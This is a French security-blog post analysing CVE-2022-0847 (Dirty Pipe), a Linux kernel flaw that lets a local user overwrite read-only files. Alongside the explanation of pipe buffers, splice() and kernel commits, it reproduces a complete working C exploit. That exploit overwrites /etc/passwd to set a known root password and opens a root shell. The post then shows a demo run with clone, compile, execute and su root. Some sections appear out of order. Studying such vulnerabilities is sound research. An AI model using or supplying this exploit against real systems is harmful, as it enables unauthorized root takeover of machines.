
Analyse approfondie et exploit de preuve de concept pour CVE-2022-0847 (DirtyPipe), une vulnérabilité du noyau Linux permettant l'écrasement arbitraire de fichiers et l'escalade de privilèges locale via des drapeaux de tampon de tube non initialisés.
title: Analyse de la vulnérabilité CVE-2022-0847 (DirtyPipe – élévation de privilèges locale) date: 2022-03-08 14:41:20 tags: - Élévation de privilèges Linux categories: - Recherche en sécurité
CVE-2022-0847est une vulnérabilité dans le noyau Linux depuis la version 5.8. Un attaquant peut l’exploiter pour écraser arbitrairement les données de tout fichier en lecture seule. Cela permet d’élever des privilèges ordinaires jusqu’àroot, car un processus non privilégié peut injecter du code dans un processus root.
CVE-2022-0847est similaire àCVE-2016-5195 “Dirty Cow”et est facile à exploiter. L’auteur de la vulnérabilité l’a nomméeDirty Pipe.
Ce blog est principalement utilisé pour enregistrer des événements de sécurité et des articles sur les vulnérabilités, à des fins d’apprentissage et de test. Toute conséquence ou dommage direct ou indirect résultant de la diffusion ou de l’utilisation des informations ou outils fournis dans cet article est de la seule responsabilité de l’utilisateur. L’auteur de l’article n’assume aucune responsabilité à cet égard.
Niveau de danger : Élevé
POC/EXP : Publié
Versions affectées : Noyau Linux 5.8 et versions ultérieures
Remarque : Versions sécurisées : noyau Linux >= 5.16.11, noyau Linux >= 5.15.25, noyau Linux >= 5.10.102
Présentation rapide des détails de la vulnérabilité.
Quelques concepts :
Linux pipe : Semi-duplex, le flux de données ne peut aller que d’un côté à l’autre.
pipe_buffer : Cache du tube, utilisé pour stocker temporairement les données écrites dans le tube. Les lectures et écritures se font via ce cache.
page : Cadre de page, 4 Ko, en relation un-à-un avec le cache du tube.
pipe_buf_operations : Stocke l’ensemble des opérations du cache du tube.
can_merge : Drapeau de fusion. S’il est défini à 1, une lecture/écriture générique du tube peut fusionner les données dans un tampon existant. S’il est à 0, un nouveau segment de page de tube est toujours utilisé pour les nouvelles données.
splice() : Déplace des données entre deux descripteurs de fichier, comme sendfile(). Il prend en charge les tubes et est également une copie zéro. Il lie le cache de page du fichier et le cache du tube, de sorte que l’écriture affecte les deux en même temps. Lors de la vérification des autorisations, il ne vérifie que si le fichier source a une autorisation de lecture ; il n’y a pas de vérification d’autorisation en écriture. La chaîne d’appel approximative est :
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

Historique du contrôle de « fusion » dans les tubes Linux :
Analyse rapide du code d’après l’auteur.
Les premiers systèmes Linux correspondaient au concept présenté : un indicateur can_merge existait pour marquer si de nouvelles données pouvaient être écrites dans le cache de tube existant.
Commit 5274f052e7b3 a introduit la fonction splice(), mais la vérification n’a pas changé : elle utilisait toujours l’indicateur can_merge pour déterminer si le cache de tube actuel était disponible.


Commit 01e7187b4119 a cessé d’utiliser l’indicateur can_merge pour le remplacer par une comparaison du pointeur struct pipe_buf_operations. Seul le type anon_pipe_buf_ops permet l’écriture de nouvelles données ; il suffit donc de vérifier si le type correspond.


Ainsi, l’auteur a la méthode d’exploitation suivante :
PIPE_BUF_FLAG_CAN_MERGE de pipe_buffer.splice. À ce moment, splice lie le cache du tube et le cache de page.copy_page_from_iter() pour effectuer l’écriture. Grâce au drapeau PIPE_BUF_FLAG_CAN_MERGE, l’écriture est effectuée directement.Analyse de l’exploit
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
Utilisation d’une machine virtuelle kali comme système de démonstration.
Condition requise pour le système cible : disposer de gcc.
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
./compile.sh # compilation avec gcc
./exploit # exécution de l’exploit, le message d’erreur suivant s’affiche
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
su root
Mot de passe : aaron
Après connexion, obtention des privilèges root
passwdmv /tmp/passwd.bak /etc/passwd
D’abord, corriger la définition de l’attribut de fusion

Ensuite, ajouter l’initialisation des indicateurs


Un grand merci au collègue Psyduck pour avoir consacré un temps précieux à analyser et organiser les principes de l’exploit publié par le divulgateur de la vulnérabilité. Le collègue a également effectué des débogages au niveau basé sur le système local, mais la chaîne d’appel de données n’est pas encore claire ; les recherches se poursuivent.
Ce blog est principalement utilisé pour enregistrer des événements de sécurité et des articles sur les vulnérabilités, à des fins d’apprentissage et de test. Toute conséquence ou dommage direct ou indirect résultant de la diffusion ou de l’utilisation des informations ou outils fournis dans cet article est de la seule responsabilité de l’utilisateur. L’auteur de l’article n’assume aucune responsabilité à cet égard.
Commit 241699cd72a8 a ajouté deux nouvelles fonctions qui allouent de nouvelles struct pipe_buf_operations mais n’initialisent pas leur indicateur flags.

Commit f6dd975583bd a transformé cette comparaison de pointeurs en une comparaison de l’indicateur PIPE_BUF_FLAG_CAN_MERGE de chaque tampon, permettant d’injecter PIPE_BUF_FLAG_CAN_MERGE, tout en supprimant la définition et l’utilisation d’autres types de buf_ops.


